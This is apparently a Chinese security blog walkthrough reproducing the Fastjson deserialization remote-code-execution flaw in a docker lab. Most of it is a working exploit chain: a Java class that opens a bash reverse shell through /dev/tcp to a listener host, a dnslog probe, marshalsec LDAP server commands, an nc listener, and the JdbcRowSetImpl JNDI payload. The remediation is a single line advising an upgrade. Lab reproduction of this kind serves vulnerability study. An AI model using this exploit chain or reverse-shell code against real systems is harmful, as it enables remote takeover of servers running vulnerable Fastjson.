0x01 前言
Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,在中国和美国使用较为广泛。
0x02 漏洞成因
Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执行 java 代码,具体分析可参考:FastJson 反序列化学习
0x03 环境准备
docker 搜索 Fastjson 漏洞利用镜像:docker search fastjson
这里选择 fastjson1.2.47_rce 镜像进行漏洞复现,将镜像 push 回本地:docker push initidc/fastjson1.2.47_rce
查看本地镜像:docker images
开启镜像:docker run -it -p 8080:8080 a82832ac7f62
复现漏洞还需要在本地开启 rmi 或 ldap 服务,这里我们使用 marshalsec 快速开启 rmi 或 ldap 服务,下载地址:https://github.com/mbechler/marshalsec
下载解压后进入 marshalsec 文件夹,使用 maven 编译出 jar 包(没有 maven 自行下载安装):mvn clean package -DskipTests
编译完成后在 target 文件夹中找到我们需要的 jar 文件:marshalsec-0.0.3-SNAPSHOT-all.jar
最后准备我们的攻击代码:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); //ip端口自行替换为接收shell地址
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
编译出 .class 文件:javac Exploit.java
OK,环境基本准备就绪。
0x04 漏洞复现
访问环境:http://x.x.x.x:8080/fastjson/
先进行 dnslog 探测尝试:{"@type":"java.net.Inet4Address","val":"1.sap0b9.dnslog.cn"}
dnslog 探测成功,利用攻击脚本进行攻击尝试。
首先利用 python 起 http ,将攻击代码挂起:python -m http.server 8888
启动 ladp 服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:8888/#Exploit 9999
攻击机监听端口:nc -lvvp 8089
使用攻击 payload 进行反弹攻击:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://x.x.x.x:9999/Exploit", //你的ldap服务地址
"autoCommit":true
}
}
成功反弹 shell ,复现成功:
0x05 注意点
利用 RMI 或 LDAP 对本地 jdk 版本有要求,利用 RMI 服务 jdk 版本必须低于 8u121 ,利用 LDAP 服务 jdk 版本必须低于 8u182 。
这是我本地 jdk 版本:
0x06 修复方案
升级到最新版本~